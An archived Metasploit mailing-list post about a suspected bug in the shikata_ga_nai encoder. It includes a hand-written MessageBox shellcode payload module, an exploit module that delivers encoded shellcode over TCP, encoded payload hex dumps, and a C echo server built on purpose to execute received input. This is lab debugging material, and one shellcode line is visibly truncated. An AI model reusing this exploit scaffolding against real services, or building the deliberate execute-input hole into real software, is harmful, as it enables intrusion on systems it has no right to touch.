Metasploit mailing list archives

Bug in shikata_ga_nai encoder ?


From: alok.menghrajani at ilionsecurity.ch (Alok Menghrajani)
Date: Tue, 17 Oct 2006 17:09:25 +0200

Hi,

Thanks Pranay Kanwar for your answer regarding how to specify the encoder.

I am running into a strange bug with the shikata_ga_nai encoder. I
haven't yet been able to pin point what exactly is wrong or how to fix
it, so I'm hoping someone here might be able to give me some valuable tips.

I wrote a basic echo server, to which I added a simple vulnerability: if
the first 4 characters of the input match 'code', then the echo server
will jump the control flow to the 10th character. So you basically have
to send 'code......<payload>' to exploit the echo server.

I then wrote a basic payload, which just displays a messagebox.

Finally I wrote a basic exploit, which connects to my echo server and
sends the payload.

I have included all three files below.

Now I noticed that when I'm using the shikata_ga_nai encoder, the
payload isn't always executed (it runs fine about once every 3 or 4
tries); in most cases the echo server crashes.

If I use another encoder, such as jmp_call_additive, the payload is
executed each time.

Now comes the disconcerting part; if I use other payloads such as
windows/exec  or windows/reverse_shell_tcp, with the shikata_ga_nai
encoder and my echo server, everything works fine.

So it seems shikata_ga_nai and my payload don't get along :)

Any info on how I can get a better understanding of what is happening ?

Thanks,
Alok.


Here is the shikata_ga_nai encoded string which fails:
--------------------------------------------------------------------------------
be274f84fec1e24877717218f879419b7f7b05b7b5984042756731f7e169f9b97a1c38fdbf2f9fa9
964781e34614919001d697430437730db2784b1d4e15b42dba3d7e6634b62592937d49763c86f599
3fa84a0c24b388fc1bd410e0352cb9b602e175787074797e22d2e0727a4f93be32f5b7993cbf9f90
b505b17f0d6bfc0c84d4731c4e37b42d7725241508eb01d6b24998913f467c3443b30448351ad1e2
2c4aa8717d1d9b2f407647420bd5b080f883f6d0f903fdbb7b4bba96a967b8669792411489f7e33d
7e279341bf22d5913f7c29e2794987d667723523d3f8b7754a1c73487805a8747b2f2af909e332f5
b242b92c2d276611d2d4bab89913fd1470713788e024bb31ffc1e17f253d4e7a77403496431d90be
a9477646b1924fb0970d040c3cb4b37d30fcb69819eb4b28eb7718e27b7e7115b59b9f98b2b89979
7a1d27417c489638e1730d1bfec0e3673c25b042b41c373afc147543b120f59b7f76044a2bf84b24
90a981d6b9babeb312e0153593a84766bb052cb63bfd40b574784991b7702d2fbf924f3f3d33f90c
39d5974e7246349f86d47d69f505737f21eb72703792b2967802d5b1797d1415b6b5b39391baa82f
7a0d41b00c4e247110fd429f404967b785d6662743354b69f887f7e31d7b483f11f9bfa990989b34
b97623fc1c477c25bb4abe81e23cb8997e2d28e13d2c973be0770bd40446b474754f89c1e17c21e0
42b897b29288f51c2db5737567981d1bd3d1e20c0db12c7f37a83c9fbb702f40be3d4f777d347613
f94ab301f89b48bf910412d6b9359025967b27b72493b038d4781466054b717e7a41992bd5b67419
eb43a9794647b43f20fc4eba153afd491ae3724e707248b27c7f2db649b1b79fb32ad4a84192b098
2f787342b9a9967b7166b4937d14740d763d35343f7a22eb08f59190b8bb2583f93c7e4b29d64718
fec0e32c4a2784e21d1c754680d2e10c4f86d503fd970433fc05b537bf67241532f8beba4399796b
d0e077409b7b39f81c85fdb5ba99a89b4f7031d6750430e3422f66923db010d5b64aa99f09eb3577
1d7a737d02f6d1e2417934bf0c1530f7e0480525277614bb6bf547720d984bb4404e90b3be432c46
7e22f6d493b8b9b12ae13f977123f9b2742db7787c7f3796913c49242bfc7c747a01e028ffc0e37f
7767994aa83db29327b011fec1eb794869fcb1bb98b57b2f2d0471377325786696ba754f9f49b47e
7213d5b69235a981e2703fb341761d9b86e1142c247d39fd4b89d6b7473bd415400d31d3f80c0bf5
671c054e43b880f9919746bf34b93cbe9084e0734293b887d2e17f4b927d1c4014b79b4779754919
eb7443460c33f5b490423f85d47b18fc99ba707624be251dbb979f983d27bf03d0f9b94ab596a93c
b02fb3a867b132fd664f7c7138e220d54e2d0405917e357a0db637413409f848152cb212d6787772
3ae349792c7b21e2727c731ad6757405717a707634b24b787f37b193b40d92467d2729e34a2d1d96
9f3cb3b9251bfd91979908fc88e12f1c83eb10e041be2415bf6602f7d2f90c7e35b547a8b0044e0b
f5b64814bb9040b712d523c0f8a943776bd49b3f3d4fb84298ba85e319e07b01f6e167b1994a9b96
7e773dbb154e2da824b0989f3f2fb7b5a97f7a4fbe03d52783f8b8bf7009d1e225b486fd37737846
429738d41c35b27449ba717c66b94367b3720c41b67904347d2c87ffc1d675053c9076474014933b
fc18f9910d9269f54b81eb481d7c7976417325142f99b62bfd84fc39e066bb90b0b87820e313d4b1
9197777f4922d53f0d924f7d359bb737ba7547672d9f93041d4b7b7005b589e23c28f8bf4e30f5be
b47e741c984829e134a84a0c08f971723aeb3d7a72277333d6b3b27c46762cb97802e04274437e24
a977407a31d0e2159667704a9fbb7b47b0b9257f1bd5fd752fb780d3e12af83732fc410d4b21d690
401d10f5a89171152d2ca9b87911e3147d053f9bb20c1cb54927ba24b648974f1af988d466b398be
3c99bf92433d353496b493eb0442b1464ebaa75c9b17dbd5d97424f45e31c9b11e83eefc31560e03
f15279e2156a7d0de530f6c6640731d966881360119513ee227498c45db6dbda5d39b58ae41199ab
6a9d309840333814e5756eabe575defab78a304595bf30ca26ee4640bd639a9413e0b0b46ba52d36
1854c9dd9cf96d5f204eba3c4b7da6e2e9f806d28193767a793744e10cc59b9197098f7726642f88
--------------------------------------------------------------------------------

Here is the shikata_ga_nai encoded on a different run which succeeds:
--------------------------------------------------------------------------------
84d580d47b3c7a79041d37a8752fbfb22ae235407614151c1bf888fc9231f93f9b4fa928e37122d6
46747e414285fec0eb4327b405b96649b7b37020f52538e1340db69f242cbeb897780c7d4eba7772
677c734b489003fd914ab19998b593477f342c0bf6eb4683d3d1e172777b79703d9193b6be4e80f8
0d757d24a8ba20fc4f962d992bfdbf907122f90489e03ad0d4b4926684e23cb8741478484b434a37
19e3059718f59825b91c2f03d5b2b19bb57f7c414247b3156740b033d6a949277a3f351db79f7e0c
bb76733430e305937f7e2f2d727b704a757341787a761dbe402cb79743673d994804bbb9b53c0bd5
7d4991142577460cb46669f7d6980da809f8b27123d4249686fc47744ea9277931e21c1ae108fd02
eb4f929bb13fb6b07c01e02af5379f9035b887f9ba4b4215bfb3744e88e229d2e377781bfcb01593
b899904bb27d2c0449434012d67a1c4f9810fd21e1713513ffc0fec1f9b934b485eb2d9691b16725
7673727b757e24929b373f0532f52f483c793bd447707c4a28e066b33da9ba7f38f897beb627b51d
0c14bf46bba80d6bd541b79f71757a747f797e429993439ba97b763d147c4911e21db839fd2fb181
eb723f02d1f9b496989f34479731d642b9bf4bb3a867b777731592917d23f84e08e00dbb2c4129ff
c0e3244f781ad54622fc4abe1bf5ba37257039d42d3be127403c901cb00cb50548b2350466b67142
24b1b213fc4b99b9727a4f9173412f7e3c047c7b1d7d4043707f7501f7d2e019e37978152ae17466
be9f4635b0b4b714a8b5932c2576484e33d0f99b0c4985d5ba47bf2bf8bb1cb8b30d92962d3f3d67
84d4376bd6974a9034b603f521fec1d3e22798a920fd0588eb772d30d5b470433ae06786d609e132
f947797f40b141782cb381eb7c11e2754b711497b23798727e3493243da9a8ba0c7a462f7b7466b9
9b0d18fcb00bf5b615737d4e764f91257738f89690bf05423fb7bb4a87f6e34980fd0412d41d3cb5
9227be1c4835b89f997276777e747f757b40ba2589e20cb683fd974b7a737d27247179439669fc7c
3db5931cb14e379810eb28d5473f9b67482c09e3346615bb0bd44a0d41a99fb4702dbf1bf7d2e078
4f4699143c0419f905b8359249beb7b26bf5911d13d1e108d0d680f84279727730e32fb3b9b090a8
9289ffc0d4707b37b1b4247141a9484b7c01f829e1787f7e0c902522f5051d764e6784d56649979b
999147b51ca87d31f983eb3d9f11d3e275744a93be3fba2fb027bb18e043b7352cbf047a2bfdb64f
b8b94214152d407328fc980db396b2463c87d63476717b4986e1782ae340b82c7d2f051c7e7003d5
159b9f02fd10eb7723fcbb46baa9bf974142a8937c3f69f6d439e22588d633fec1f935244f7a7304
21f8b7677f2748983492754eb6909672431af5b02db3be370db1b5911d47660c994b7914b485e03d
b9b24a747270733cb2b7767120e17b7f437a7e2f81e0359848a9143f787412d4791cba32f54bb6b8
157d2d053ad57c66b442a84e993bfdbb934a9240b0b5b96790bf3d4f477733fc9b38e2251d96970d
91b10c87f89fbe4638f92c4904341ae3243c75413aeb28d637b3272c7d7413c0e1247218e36783d6
43417e7f4b92764f429bb1b7970d34b3b919e0702585d47a4e903d2d9920d549b496ba88e22ad0fc
b03cb8a92f787b1d3f4691b29fa815b6b512f5931c40050c4abe35bb6bd1f8bf277c7311d3eb6637
487779147175479803f92bfd047f08fd32e3747031e12402e222d43d0bf84f39d57275762f9b1c46
7371149f797d7c21e02c787a7725493490b20d81f993484a27b47b1bf510eb374eb1b3bea999bfb6
91bb1d4398a87e05b73c400c7a75049779703f7f66b9772d734189e24b7815b0b57135b8967d30f6
c1f7d67247926784e1427401eb3bfcbabab87e23fc6691b9b09676347b29e035beb12f40420d469b
3d9886d2e31d69f524b7a880fdb448922c054941b27c144bbb99259f67b393d6044e97d40cb63f4a
2747bfa93c4f152d43f99009f81cb5d537dbc4d97424f45a29c9b11eb8bc0e2dda31421783eafc03
fe1dcf2f16210fd0e679841b67bca39b673f85221022a529218d2e1a5cef759d5ef024cde7d86a6d
6be6a25d414ace69e4aa806de62c703fb4d3a2069ae6c2052527b186bcba095b105f02f76cd2bf74
1f8d581e9d22dfa121f52b414a3630a5ee41989482d8e8b87a483a260f1c0ddc96c03e32292fc14a
--------------------------------------------------------------------------------

Finally, here are my other files:

The payload.
payloads/singles/windows/alok_sample.rb
--------------------------------------------------------------------------------
require 'msf/core'

module Msf
module Payloads
module Singles
module Windows

module AlokSample
        
        include Msf::Payload::Windows
        include Msf::Payload::Single

        def initialize(info = {})
                super(update_info(info,
                        'Name'          => 'Windows Sample Executable',
                        'Description'   => 'Display a simple MessageBox',
                        'Platform'      => 'win',
                        'Arch'          => ARCH_X86,
                        'Privileged'    => false,
                        'Payload'       =>
                        {
                                'Offsets' => {
                                        'LOADLIBRARY' => [ 16, 'HEX' ],
                                        'GETPROCADDRESS' => [ 33, 'HEX' ],
                                        'EXITPROCESS' => [ 56, 'HEX' ]
                                },

                                'Payload' =>
"\xe8\x00\x00\x00\x00\x5b\x8b\xcb\x81\xc1\x39\x00\x00\x00\x51\xb9\xFF\xFF\xFF".
                                
"\xFF\xff\xd1\x8b\xcb\x81\xc1\x44\x00\x00\x00\x51\x50\xb9\xFF\xFF\xFF\xFF\xff".
                                        
"\xd1\x33\xd2\x52\x8b\xcb\x81\xc1\x50\x00\x00\x00\x51\x51\x52\xff\xd0\xb9\xFF".
                                        
"\xFF\xFF\xFF\xff\xd1\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x4d\x65\x73".
                                        
"\x73\x61\x67\x65\x42\x6f\x78\x41\x00\x48\x34\x63\x6b\x33\x64\x20\x62\x79\x20".
                                        
"\x31\x6c\x69\x30\x6e\x20\x53\x33\x63\x75\x72\x31\x74\x79\x20\x53\x2e\x41\x2e".
                                             :\x00\x00"
                        }
                        ))
                        
                # EXITFUNC is not supported :/
                deregister_options('EXITFUNC')

                # Register command execution options
                register_options(
                        [
                                OptString.new('LOADLIBRARY', [ true, "address of LoadLibrary",
"0x7C801D77" ]),
                                OptString.new('GETPROCADDRESS', [ true, "address of GetProcAddress",
"0x7C80AC28" ]),
                                OptString.new('EXITPROCESS', [ true, "address of ExitProcess",
"0x7C81CAA2" ])
                        ], Msf::Payloads::Singles::Windows::AlokSample)
        end

        # This could be part of metasploit...
        def replace_var(raw, name, offset, pack)
                if pack == "HEX"
                        val = datastore[name]
                        val = val.to_s.hex
                        val = [ val.to_i ].pack("V")
                        raw[offset, val.length] = val
                        return true
                else
                        return false
                end
        end

        def generate
                return super
        end

end

end end end end
--------------------------------------------------------------------------------


The exploit:
modules/exploits/windows/alok/sample.rb
--------------------------------------------------------------------------------
require 'msf/core'
module Msf

class Exploits::Windows::Alok::Sample < Msf::Exploit::Remote

        include Exploit::Remote::Tcp

        def initialize(info = {})
                super(update_info(info, 
                        'Name'           => 'my first metasploit 3 exploit.',
                        'Privileged'     => false,
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 160,
                                        'BadChars' => "\x00\x0a",
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # Not
impl yet
                                ],

                        'DefaultTarget' => 0))
                        
                        register_options(
                                [
                                        Opt::RPORT(9905)
                                ], self.class)
        end

        def exploit
                pl = payload.encoded + "\n"
                print_status("Sample exploit started. Sending exploit:")
                print_status(pl.unpack("H*"))
                print_status("Encoder used:")
                print_status(payload.encoder.fullname)
                connect
                print_status("Connected.")
                sock.put("code......" + pl)
                print_status("Done.")
                sock.get
                handler
                disconnect
        end

end
end     
--------------------------------------------------------------------------------



And the echo server:
vulsrv.c
--------------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h>

#define BUFFER_SIZE 2000

unsigned char buf[BUFFER_SIZE];

/* Simple function to jump into buf */
void foo(unsigned char *ptr) {
        int *ret;
        ret = (int*)&ret;
        ret += 3; /* depending on your compile options, this value might
have to be changed ! */
        *ret = (int)ptr;
}

int main(int argc, char **argv) {
        WSADATA ws;
        int i, j, t;
        SOCKET srv, conn;
        SOCKADDR_IN addr;

        printf("starting simple vuln server.\n");
        /* Init socket library */
        if (WSAStartup(0x101,&ws)!=0) {
                printf("WSAStartup failed.\n");
                exit(-1);
        }
        /* Create server socket */
        srv = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
        if (srv == INVALID_SOCKET) {
                printf("WSASocket failed.\n");
                exit(-1);
        }
        /* Setup struct and call bind */
        /* We are going to listen on port 9905 */
        memset(&addr, 0, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = htonl(INADDR_ANY);
        addr.sin_port = htons(9905);

        if (bind(srv, (SOCKADDR*)&addr, sizeof(addr)) != 0) {
                printf("bind failed (%d).\n", WSAGetLastError());
                exit(-1);
        }
        if (listen(srv, 1)!=0) {
                printf("listen failed.\n");
        }

        while (1) {
                printf("waiting for connections.\n");
                conn = accept(srv, NULL, 0);
                if (conn == INVALID_SOCKET) {
                        printf("accept failed.\n");
                        exit(-1);
                }
                printf("client has connected.\n");

                /* Read oneline or BUFFER_SIZE */
                i = 0;
                while (i < (BUFFER_SIZE-2)) {
                        t = recv(conn, buf+i, 1, 0);
                        if (t==0) {
                                /* Socket is closed */
                                break;
                        }
                        if (t == SOCKET_ERROR) {
                                printf("recv failed.\n");
                                i = 0;
                                break;
                        }
                        /* Now go through what was read to see if we got
a \n. */
                        if (buf[i]=='\n') {
                                break;
                        }
                        i+=t;
                }
                if (i==0) {
                        /* Something happened */
                        continue;
                }
                buf[i]=0;
                printf("Received: %s\n", buf);

                send(conn, buf, i, 0);

                /* Check if we received "code??????+<shellcode>" */
                if (strncmp(buf, "code", 4)==0) {
                        foo(buf+10);
                }

                /* Close socket */
                if (closesocket(conn)!=0) {
                        printf("closesocket failed\n");
                        continue;
                }
        }
}
--------------------------------------------------------------------------------

Thanks,
Alok.











Current thread: